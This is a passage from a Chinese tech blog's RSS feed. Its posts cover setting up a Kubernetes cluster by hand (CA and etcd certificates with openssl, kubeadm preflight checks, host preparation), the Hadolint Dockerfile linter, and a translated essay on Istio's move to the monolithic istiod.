&lt;p&gt;另外还有一个相关的 &lt;a href=&#34;https://github.com/kubernetes/enhancements/pull/1409&#34; target=&#34;_blank&#34;&gt;用于标准化容量参数的 KEP&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;CSI Ephemeral Inline Volumes：&lt;code&gt;https://kubernetes.io/blog/2020/01/21/csi-ephemeral-inline-volumes/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Patrick Ohly：&lt;code&gt;https://github.com/pohly&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;后绑定模式：&lt;code&gt;https://kubernetes.io/docs/concepts/storage/storage-classes/#volume-binding-mode&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;CSIInlineVolume 特性开关：&lt;code&gt;https://kubernetes.io/docs/reference/command-line-tools-reference/feature-gates/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;PMEM-CSI：&lt;code&gt;https://github.com/intel/pmem-csi&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CSIDriver&lt;/code&gt;：&lt;code&gt;https://kubernetes-csi.github.io/docs/csi-driver-object.html#what-fields-does-the-csidriver-object-have&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;加载时 Pod 信息：&lt;code&gt;https://kubernetes-csi.github.io/docs/pod-info.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Kubernetes CSI 文档：&lt;code&gt;https://kubernetes-csi.github.io/docs/ephemeral-local-volumes.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;原始设计文档：&lt;code&gt;https://github.com/kubernetes/enhancements/blob/master/keps/sig-storage/20190122-csi-inline-volumes.md&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;v0.6.0：&lt;code&gt;https://github.com/intel/pmem-csi/releases/tag/v0.6.0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;GCE 的特定类型服务器：&lt;code&gt;https://github.com/intel/pmem-csi/blob/v0.6.0/examples/gce.md&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;QEMU 方式已经集成到了 Makefile：&lt;code&gt;https://github.com/intel/pmem-csi/tree/v0.6.0#qemu-and-kubernetes&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;cert-manager：&lt;code&gt;https://github.com/jetstack/cert-manager&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;存储能力跟踪的 KEP：&lt;code&gt;https://github.com/kubernetes/enhancements/pull/1353&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;用于标准化容量参数的 KEP：&lt;code&gt;https://github.com/kubernetes/enhancements/pull/1409&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 权威指南第二章校对（2）</title>
      <link>/post/read-k8s-guide-2-2.md/</link>
      <pubDate>Sat, 18 Jan 2020 00:06:57 +0800</pubDate>
      <guid>/post/read-k8s-guide-2-2.md/</guid>
      <description>

&lt;h2 id=&#34;校对的错误&#34;&gt;校对的错误&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;san 同学不经意的一扫，就看到了上一篇中的两个错误：&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;Kubeadm 文档中虽然没提到对 CPU 的检测，实际上单核虚拟机运行是会被 preflight 拒绝的。&lt;/li&gt;
&lt;li&gt;preflight 步骤中的：&lt;code&gt;sockert&lt;/code&gt; 应为 &lt;code&gt;socket&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;书接前回&#34;&gt;书接前回&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;近期俗务缠身，第二章的二进制部分又有较多需要更新的内容，因此拖延的比较厉害，见谅见谅。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;二进制部署这部分和现状的主要差别是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;https 已经是标配，而书中用分离的方式来讲述证书部分，显得强调不足。&lt;/li&gt;
&lt;li&gt;Kubernetes 的二进制文件下载方式发生了一些变化。&lt;/li&gt;
&lt;li&gt;etcd 的配置和验证方法也要更新。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;关于-ca-证书&#34;&gt;关于 ca 证书&lt;/h2&gt;

&lt;p&gt;出于安全方面的考虑，Kubernetes 各组件之间的通信都要求使用 https 通信来完成，这就要求我们要为参与通信的各种组件提供证书来支持 https 通信。一般来说，因为都是内部通信，会采用自签署的根证书来签发其它所有证书。统一的根证书有利于建立信任关系，操作也更加方便，因此这里使用单一 CA 的方案。&lt;/p&gt;

&lt;p&gt;生成自签署根证书很容易：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# openssl genrsa -out ca.key 2048
Generating RSA private key, 2048 bit long modulus
...+++
...........................................................................................................................
.....................................+++
e is 65537 (0x10001)
# openssl req -subj &amp;quot;/CN=Kubernetes CA&amp;quot; -new -x509 -days 3650 -key ca.key -out ca.crt
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里需要注意的是 &lt;code&gt;-days&lt;/code&gt; 参数，这个参数代表的是 ca 的有效期，后续的内容中也会看到这个参数，建议读者认真对待这个参数，防止后面的使用过程中，因为证书失效造成不必要的损失。把新生成的证书和密钥保存到 &lt;code&gt;/etc/kubernetes/pki/&lt;/code&gt;，后面我们将会使用这个 ca 签署其它的证书。自签发的 ca 证书应该加入到集群中所有节点的信任列表之中，以保证该 ca 签发的证书能够得到所有节点的信任。例如在 CentOS 7 中需要使用如下命令：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;# cp ca.crt /etc/pki/ca-trust/source/anchors/
# update-ca-trust
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;etcd服务&#34;&gt;etcd服务&lt;/h2&gt;

&lt;p&gt;etcd 是 Kubernetes 集群的主数据库，需要在安装 Kubernetes 各服务之前完成安装和启动。&lt;/p&gt;

&lt;p&gt;从&lt;a href=&#34;https://github.com/coreos/etcd/releases&#34; target=&#34;_blank&#34;&gt;官方 GitHub&lt;/a&gt; 可以找到 etcd 的发行包，下载解压之后，将 etcd 和 etcdctl 文件复制到 &lt;code&gt;/usr/bin&lt;/code&gt;目录。&lt;/p&gt;

&lt;p&gt;为 etcd 编写 systemd 服务配置文件（&lt;code&gt;/usr/lib/systemd/system/etcd.service&lt;/code&gt;）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-ini&#34;&gt;[Unit]
Description=Etcd Server
After=network.target
[Service]
Type=notify
ExecStart=/usr/bin/etcd \
  --data-dir=/var/lib/etcd \
  --client-cert-auth=false \
  --cert-file=/etc/kubernetes/pki/etcd-server.crt \
  --key-file=/etc/kubernetes/pki/etcd-server.key \
  --trusted-ca-file=/etc/kubernetes/pki/ca.crt \
  --listen-client-urls=https://127.0.0.1:2379,https://10.211.55.33:2379 \
  --advertise-client-urls=https://10.211.55.33:2379 \
  --name=kubguide1
Restart=always
RestartSec=10s
LimitNOFILE=40000
[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;--data-dir&lt;/code&gt; 参数指定了 etcd 的数据存储路径。在实际环境中需要注意：etcd 承担了整个集群的核心存储工作，因此对所在磁盘的性能是有较高需求的。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;--listen-client-urls&lt;/code&gt; 定义了 etcd 服务器的监听地址。
&lt;code&gt;--cert-file&lt;/code&gt;、&lt;code&gt;--key-file&lt;/code&gt; 以及 &lt;code&gt;--trusted-ca-file&lt;/code&gt; 三个参数的组合形成了一个 ca 到证书的信任链：不论是 etcd 自身还是和 etcd 进行通信的kube-apiserver，都强烈建议使用 https 进行通信，因此上面的命令行中设置了一组证书。&lt;/p&gt;

&lt;p&gt;在启动之前，要使用前面的 ca 文件签发一个 etcd 服务器的证书。&lt;/p&gt;

&lt;p&gt;为证书编写一个配置文件 &lt;code&gt;etcd-server.cnf&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-ini&#34;&gt;[req]
req_extensions = v3_req
distinguished_name = req_distinguished_name
[req_distinguished_name]
[ v3_req ]
basicConstraints = CA:FALSE
keyUsage = nonRepudiation, digitalSignature, keyEncipherment
subjectAltName = @alt_names
[alt_names]
DNS.1 = localhost
IP.1 = 10.211.55.33
IP.2 = 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;文件中的 DNS 和 IP 字段应该覆盖 etcd 服务器的所有监听地址。&lt;/p&gt;

&lt;p&gt;生成证书密钥：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;# openssl genrsa -out etcd-server.key 2048
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;生成签发请求：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;# openssl req -new -key etcd-server.key -subj &amp;quot;/CN=etcd-server&amp;quot; \
    -config etcd-server.cnf -out etcd-server.csr
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;签发证书：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;# openssl x509 -req -in etcd-server.csr -CA ca.crt -CAkey ca.key -CAcreateserial \
    -out etcd-server.crt -days 365 -extensions v3_req -extfile etcd-server.cnf
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;完成证书生成步骤之后，把 &lt;code&gt;*.key&lt;/code&gt; 和 &lt;code&gt;*.crt&lt;/code&gt; 文件保存到 &lt;code&gt;/etc/kubernetes/pki&lt;/code&gt; 目录中，就可以通过&lt;code&gt;systemctl start&lt;/code&gt;命令启动 etcd 服务了。同时，使用 &lt;code&gt;systemctl enable&lt;/code&gt; 命令将服务加入开机启动列表中：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;# systemctl daemon-reload
# systemctl enable etcd.service
# systemctl start etcd.service
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;通过执行 &lt;code&gt;etcdctl cluster-health&lt;/code&gt;，可以验证 etcd 是否正确启动：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# etcdctl --endpoints https://127.0.0.1:2379 cluster-health
member 8e9e05c52164694d is healthy: got healthy result from https://10.211.55.33:2379
cluster is healthy
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>一个小工具：Hadolint</title>
      <link>/post/intro-hadolint/</link>
      <pubDate>Sun, 12 Jan 2020 22:12:50 +0800</pubDate>
      <guid>/post/intro-hadolint/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://github.com/hadolint/hadolint&#34; target=&#34;_blank&#34;&gt;Hadolint&lt;/a&gt; 是使用不明觉厉的 Haskell 实现的 Dockerfile linter，其实现依据来自于 Docker 官网推荐的 &lt;a href=&#34;https://docs.docker.com/engine/userguide/eng-image/dockerfile_best-practices&#34; target=&#34;_blank&#34;&gt;Dockerfile 最佳实践&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;在 Mac 下的安装只要使用简单的 &lt;code&gt;brew install hadolint&lt;/code&gt; 就能够完成安装，其它平台也有各自的支持方式。&lt;/p&gt;

&lt;p&gt;用法非常简单：&lt;code&gt;hadolint &amp;lt;dockerfile&amp;gt;&lt;/code&gt; 即可，例如我们编写一个简单的 Dockerfile：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ cat &amp;lt;&amp;lt; EOF &amp;gt; /tmp/Dockerfile                                                                             master  ✱
heredoc&amp;gt; FROM alpine
heredoc&amp;gt; CMD [&amp;quot;sleep&amp;quot;, &amp;quot;3600&amp;quot;]
heredoc&amp;gt; EOF

$ hadolint /tmp/Dockerfile
/tmp/Dockerfile:1 DL3006 Always tag the version of an image explicitly
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以使用 &lt;code&gt;--ignore&lt;/code&gt; 参数忽略指定的问题，如果是固定配置，可以使用 &lt;code&gt;-c&lt;/code&gt; 参数指定配置文件。例如下面的配置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;ignored:
  - DL3000
  - SC1010

trustedRegistries:
  - docker.io
  - my-company.com:5000
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;其检测范围包括在 &lt;a href=&#34;https://github.com/hadolint/hadolint/blob/master/README.md&#34; target=&#34;_blank&#34;&gt;README&lt;/a&gt; 有非常详细的描述，并在连接中给出了建议。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;hadolint 提供了很多&lt;a href=&#34;https://github.com/hadolint/hadolint/blob/master/docs/INTEGRATION.md&#34; target=&#34;_blank&#34;&gt;集成选项&lt;/a&gt;，可以集成到 Jenkins、Gitlab 等自动化流程中使用，在 vim、VSCode、Atom 编辑器中也可以直接生效。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;README：&lt;code&gt;https://github.com/hadolint/hadolint/blob/master/README.md&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;集成选项：&lt;code&gt;https://github.com/hadolint/hadolint/blob/master/docs/INTEGRATION.md&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Istiod——回到单体的理由</title>
      <link>/post/istio-when-not-microservice/</link>
      <pubDate>Sat, 11 Jan 2020 20:59:19 +0800</pubDate>
      <guid>/post/istio-when-not-microservice/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://blog.christianposta.com/microservices/istio-as-an-example-of-when-not-to-do-microservices/&#34; target=&#34;_blank&#34;&gt;Istio as an Example of When Not to Do Microservices&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;http://twitter.com/christianposta&#34; target=&#34;_blank&#34;&gt;Christian Posta&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;近五年来，我尽心尽力帮助各种组织踏入云原生之路。要让团队变得现代化并增强基于软件的产品的交付能力，人、过程以及技术决策都很重要。当应用架构的上限已经成为应对变化和加速发展的瓶颈时，微服务方法可能是合适的，但这并不是唯一的方法。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;微服务并非应用架构的乌托邦。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;过去，我在这方面发表了一些看法，例如我认为很多团队无法将其落地，实现过程中的困难之处，还提出了一些长远来看会对这项工作有益处的技术。甚至还写了一本书来讲述这一主题。&lt;/p&gt;

&lt;p&gt;尽管很多组织已经踏上微服务之旅，&lt;a href=&#34;https://blog.christianposta.com/microservices/when-not-to-do-microservices/&#34; target=&#34;_blank&#34;&gt;远离微服务&lt;/a&gt;一文仍然可能是个好起点。&lt;/p&gt;

&lt;h2 id=&#34;如果你已经踏上了微服务旅程&#34;&gt;如果你已经踏上了微服务旅程&lt;/h2&gt;

&lt;p&gt;如果发现微服务不灵，就该正视现实。拨乱反正是做出成功产品的正确举措。&lt;/p&gt;

&lt;p&gt;尽管出发点是好的，但开始使用微服务之后，开倒车还是有可能的。如果之前的假设或周遭环境已经发生了变化，重回单体架构也是可以理解的。&lt;/p&gt;

&lt;p&gt;为微服务通信构建服务网格的 Istio 社区，控制平面的实现将&lt;a href=&#34;https://docs.google.com/document/d/1v8BxI07u-mby5f5rCruwF7odSXgb9G8-C9W5hQtSIAg/edit#&#34; target=&#34;_blank&#34;&gt;最终从微服务架构转向更为单体的方式&lt;/a&gt;。Google API 基础设施的首席工程师和架构师 &lt;a href=&#34;https://twitter.com/louiscryan?lang=en&#34; target=&#34;_blank&#34;&gt;Louis Ryan&lt;/a&gt;，在 2019 年 KubeConNA 上讲述了这一变化的动机，并在&lt;a href=&#34;https://docs.google.com/document/d/1v8BxI07u-mby5f5rCruwF7odSXgb9G8-C9W5hQtSIAg/edit#&#34; target=&#34;_blank&#34;&gt;设计文档&lt;/a&gt;中进行了阐述。从 Istio 1.5 开始（可能会在 2020 年 2 月中旬），我们可能就会看到 &lt;code&gt;istiod&lt;/code&gt; 了，这个组件把前作中多个组件集成为单一进程。&lt;/p&gt;

&lt;p&gt;Istio 用于解决因为微服务、云原生架构引入的复杂的应用网络问题，所以为什么 Istio 自身却反其道而行之？最直接答案是：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;事实证明，微服务的复杂性无法实现其预期的价值或目标。相反，它违背了这些目标。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;对于 Istio 项目来说，似乎单体方式能更好的为目标服务。&lt;/p&gt;

&lt;h2 id=&#34;微服务模式的-istio&#34;&gt;微服务模式的 Istio&lt;/h2&gt;

&lt;p&gt;Istio 是一个开源的服务网格产品，其实现和其它同类产品大同小异，由控制平面和数据平面组成。数据平面由反向代理服务器组成，这些反向代理和各个应用实例伴行，并替代应用行使通信职责。控制平面在请求路径之外，用于对数据平面的行为进行管控。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/istio-cp-jan2020.png&#34; alt=&#34;istio-overview&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Istio 的控制平面分为几个组成部分，其职责如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Pilot&lt;/code&gt;：核心的数据平面配置（xDS）服务器。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Galley&lt;/code&gt;：配置监听、验证和转发。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Injector&lt;/code&gt;：负责数据平面的注册和初始化。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Citadel&lt;/code&gt;：证书签发、Secret 生成、CA 集成等。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Telemetry&lt;/code&gt;：&lt;code&gt;Mixer&lt;/code&gt; 组件之一，负责聚合监控信息到多种后端。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Policy&lt;/code&gt;：&lt;code&gt;Mixer&lt;/code&gt; 组件之二，在请求路径之中负责实现策略支持。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;运维人员通过一组配置指令来借由这些部件为数据平面提供服务并对其进行控制。&lt;/p&gt;

&lt;h2 id=&#34;微服务的好处&#34;&gt;微服务的好处&lt;/h2&gt;

&lt;p&gt;微服务能够降低变更过程中因为耦合产生的冲突，因此能加快组织的调整速度。有了微服务架构的帮助，每个服务都能可以有自己的团队，独立进行运维，有各自的变更频率和生命周期。这使得开发和运维能够轻装上阵，不会因为变更过程中的锁定、同步、协作等问题拖慢部署和变更的进度。&lt;/p&gt;

&lt;p&gt;拆分成微服务的另一个原因就是它的用法和扩展方式。例如一个需要大量读写的服务，能从读写分离上受益，这是因为读取过程需要更多内存（缓存），而写入需要更多的存储或者网络资源。拆分之后就可以放心的给读取服务分配大量内存，而写入服务则可以运行在 SSD 或者 EBS/SAN 等设施加持的服务器上。&lt;/p&gt;

&lt;p&gt;拆分微服务的另外几个理由：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;安全考虑&lt;/li&gt;
&lt;li&gt;领域分隔&lt;/li&gt;
&lt;li&gt;针对不同语言的优化&lt;/li&gt;
&lt;li&gt;安全分级&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;微服务架构的复杂性是第一号问题。当单体应用拆分为一些互相通信的小玩意之后，架构的复杂性以及对应的基础设施的复杂性都显而易见地提高了。&lt;/p&gt;

&lt;p&gt;除非已经清楚的意识到，这是为了获得更多好处，而做出的一种必要的妥协；否则就应该对假设进行评估，并及时做出反应——这就是 Istio 现在的举措。&lt;/p&gt;

&lt;h2 id=&#34;回头草&#34;&gt;回头草&lt;/h2&gt;

&lt;p&gt;首先要清楚，你的服务是谁开发谁运维的。在 Istio 社区，项目里不同的&lt;a href=&#34;https://github.com/istio/community/blob/master/WORKING-GROUPS.md&#34; target=&#34;_blank&#34;&gt;工作组&lt;/a&gt;维持着不同的组件。另一方面，下载、安装和运维 Istio 的用户就不那么清楚了。目前看来，都是由单一的工作组（甚至一个人）在操作 Istio 的控制平面。某种程度上，一组微服务构建的 Istio 控制平面更适合被当做一个更大规模的 SaaS 看待，但是目前的情况看来并非如此。&lt;/p&gt;

&lt;p&gt;第二个需要注意的就是部署问题。这些微服务能独自部署么？Istio 的回答是：理论上可以，但实际上可能并非如此。当新版本 Istio 发布时，需要更新/部署所有控制平面的组件。&lt;/p&gt;

&lt;p&gt;最后一个问题：”Istio 的各个组件，有各自不同的安全考量和伸缩需求吗？“，答案也并不肯定。来自 &lt;code&gt;istiod&lt;/code&gt; 的一段陈述：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;目前看来，对于多数组件来说并非如此。然而——控制平面的成本由单一的功能（xDS）决定。相对而言，其它所有组件的消耗微不足道，因此分离并无必要。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;为了安全起见，所有的控制平面都处于相同的特权级别：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;当前的情况下，Mutating Webhook、Envoy Bootstrap 以及 Pilot，这几个组件的特权级别和 Citadel 基本持平，对它们的滥用所引发的损失几乎相同。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Istio 设计文档中的潜台词就是——“复杂性是万恶之源，或者换个说法：停止焦虑，爱上单体”。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;istiod&lt;/code&gt; 是一个单体应用，它用较低的复杂性提供了和之前版本一致的功能。组成旧版控制平面的服务都还以子模块的方式存在于项目之中，但提供了更好的运维体验。操作者只需关注单一二进制文件的运行和升级了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/istiod.png&#34; alt=&#34;istiod&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Istio 一旦转向单体的控制平面，会大幅降低复杂性，从而：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;只需要对一个单独的服务进行部署和升级。&lt;/li&gt;
&lt;li&gt;因为无需关注编排服务自身的配置，因此配置复杂度也降低了。&lt;/li&gt;
&lt;li&gt;更容易除错。&lt;/li&gt;
&lt;li&gt;提高分发、共享和缓存的效率，降低开销。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外你可以看一下 &lt;a href=&#34;https://www.youtube.com/watch?v=QD115XiBXwY&#34; target=&#34;_blank&#34;&gt;Istiod 的 Demo 视频&lt;/a&gt;。这个视频基于一个早期版本，因此并不完善。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;很高兴看到 Istio 社区在持续提高其易用性和可运维性。转向单体应用的 Istio 带来了很多好处。这个过程会对你的项目产生什么启发么？如果有的话，你会采取什么措施么？&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Istio设计文档：&lt;code&gt;https://docs.google.com/document/d/1v8BxI07u-mby5f5rCruwF7odSXgb9G8-C9W5hQtSIAg/edit#&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Istiod 的 Demo 视频：&lt;code&gt;https://www.youtube.com/watch?v=QD115XiBXwY&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;远离微服务：&lt;code&gt;https://blog.christianposta.com/microservices/when-not-to-do-microservices/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 权威指南第二章校对（1）</title>
      <link>/post/read-k8s-guide-2-1.md/</link>
      <pubDate>Mon, 06 Jan 2020 23:58:31 +0800</pubDate>
      <guid>/post/read-k8s-guide-2-1.md/</guid>
      <description>

&lt;p&gt;权威指南第二章的内容，是 Kubernetes 有史以来最经久不衰的入门话题：安装。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这里出了个巧合，编写第二章时，我负责的是 kubeadm 的部分，搭建虚拟机集群准备开始校对的时候，发现这一批虚拟机被分配的 IP 和写稿时候是一样的——10.211.55.30-32&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;推荐软硬件规格&#34;&gt;推荐软硬件规格&lt;/h2&gt;

&lt;p&gt;实际上我经常用一组 2G 内存的虚拟机安装测试集群，到处翻看了一下，似乎也没看到很确切的说明，&lt;a href=&#34;https://kubernetes.io/docs/setup/best-practices/cluster-large/&#34; target=&#34;_blank&#34;&gt;Building large clusters&lt;/a&gt; 一文给出了一些配置推荐，其中 1-5 节点的微型集群推荐的 Master 节点配置是 1 核 3.75 G 的虚拟机实例。&lt;/p&gt;

&lt;p&gt;其次是 Docker 版本的推荐，建议去 Release Notes 中查找对应的版本说明，例如 1.14 版本的验证列表包含： 1.13.1, 17.03, 17.06, 17.09, 18.06, 18.09。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;过期文档查看方法示例：
&lt;code&gt;https://kubernetes.io/docs/setup/release/notes/&lt;/code&gt; =&amp;gt;
&lt;code&gt;https://v1-14.docs.kubernetes.io/docs/setup/release/notes/&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;kubeadm-init&#34;&gt;kubeadm init&lt;/h2&gt;

&lt;p&gt;在 &lt;code&gt;kubeadm init&lt;/code&gt; 命令配置一节，原本使用了我自己的 Docker hub 仓库，现在 AWS 提供了 gcr 镜像，这里也就顺便改成了：&lt;code&gt;imageRepository: gcr.azk8s.cn/google_containers&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;init&lt;/code&gt; 命令执行过程中，会进行预检，&lt;a href=&#34;https://kubernetes.io/docs/reference/setup-tools/kubeadm/implementation-details/&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;中也介绍了预检内容：&lt;/p&gt;

&lt;p&gt;init命令首先会执行一段称为preflight的预检工作，对当前的服务器状况进行检查，会导致检查不通过的情况包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Kubnernetes 需求：

&lt;ul&gt;
&lt;li&gt;操作系统是否为 Linux；&lt;/li&gt;
&lt;li&gt;内核是否为 3.10+ 或者 4+，并启用特定开关；&lt;/li&gt;
&lt;li&gt;是否有合适的 cgroup 子系统配置；&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Docker 服务不存在或者无法工作；&lt;/li&gt;
&lt;li&gt;crictl sockert 无应答。&lt;/li&gt;
&lt;li&gt;当前用户不是 root；&lt;/li&gt;
&lt;li&gt;主机名称不是有效的 DNS 子域；&lt;/li&gt;
&lt;li&gt;kubelet 版本低于 kubeadm 的要求（通常能够容忍一个小版本号的差异）；&lt;/li&gt;
&lt;li&gt;kubelet 版本比 kubeadm 版本高出一个小版本号以上；&lt;/li&gt;
&lt;li&gt;API Server 的绑定端口（10250、10251以及10252）被占用；&lt;/li&gt;
&lt;li&gt;/etc/kubernetes/manifest 已经存在并且非空；&lt;/li&gt;
&lt;li&gt;/proc/sys/net/bridge/bridge-nf-call-iptables 不存在或者内容中不包含“1”；&lt;/li&gt;
&lt;li&gt;公布地址为 ipv6 并且 /proc/sys/net/bridge/bridge-nf-call-ip6tables 文件不存在或者内容中不包含“1”；&lt;/li&gt;
&lt;li&gt;找不到 ip、iptables、mount 或者 nsenter 命令；&lt;/li&gt;
&lt;li&gt;启用了交换文件；&lt;/li&gt;
&lt;li&gt;如果指定了外部 etcd：

&lt;ul&gt;
&lt;li&gt;如果 etcd 版本低于 3.0.14；&lt;/li&gt;
&lt;li&gt;如果 etcd 中引用了不存在的证书或密钥。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;如果没有指定外部的 etcd：

&lt;ul&gt;
&lt;li&gt;如果 2379 端口被占用；&lt;/li&gt;
&lt;li&gt;如果 Etcd.DataDir 路径已经存在并且非空；&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;如果认证模式为 ABAC：

&lt;ul&gt;
&lt;li&gt;abac_policy.json 文件不存在。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;如果认证模式为 WebHook：

&lt;ul&gt;
&lt;li&gt;webhook_authz.conf 不存在。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;常见的三个操作&#34;&gt;常见的三个操作&lt;/h2&gt;

&lt;p&gt;以CentOS 7.5 Minimal版本为例，一般会有三个需要修改的地方：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;关闭交换文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;swapoff -a
删除 /etc/fstab/ 中的 swap 一行，重新启动。
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;使用 sysctl 设置net.bridge.bridge-nf-call-iptables 和 net.ipv4.ip_forward 为 1。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;设置 Docker 配置文件 /etc/docker/daemon.json 内容如下，设置 Docker的 cgroupdriver 为 systemd，并重新启动 Docker 服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
&amp;quot;exec-opts&amp;quot;: [&amp;quot;native.cgroupdriver=systemd&amp;quot;],
&amp;quot;log-driver&amp;quot;: &amp;quot;json-file&amp;quot;,
&amp;quot;log-opts&amp;quot;: {
&amp;quot;max-size&amp;quot;: &amp;quot;100m&amp;quot;
},
&amp;quot;storage-driver&amp;quot;: &amp;quot;overlay2&amp;quot;,
&amp;quot;storage-opts&amp;quot;: [
&amp;quot;overlay2.override_kernel_check=true&amp;quot;
]
}
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

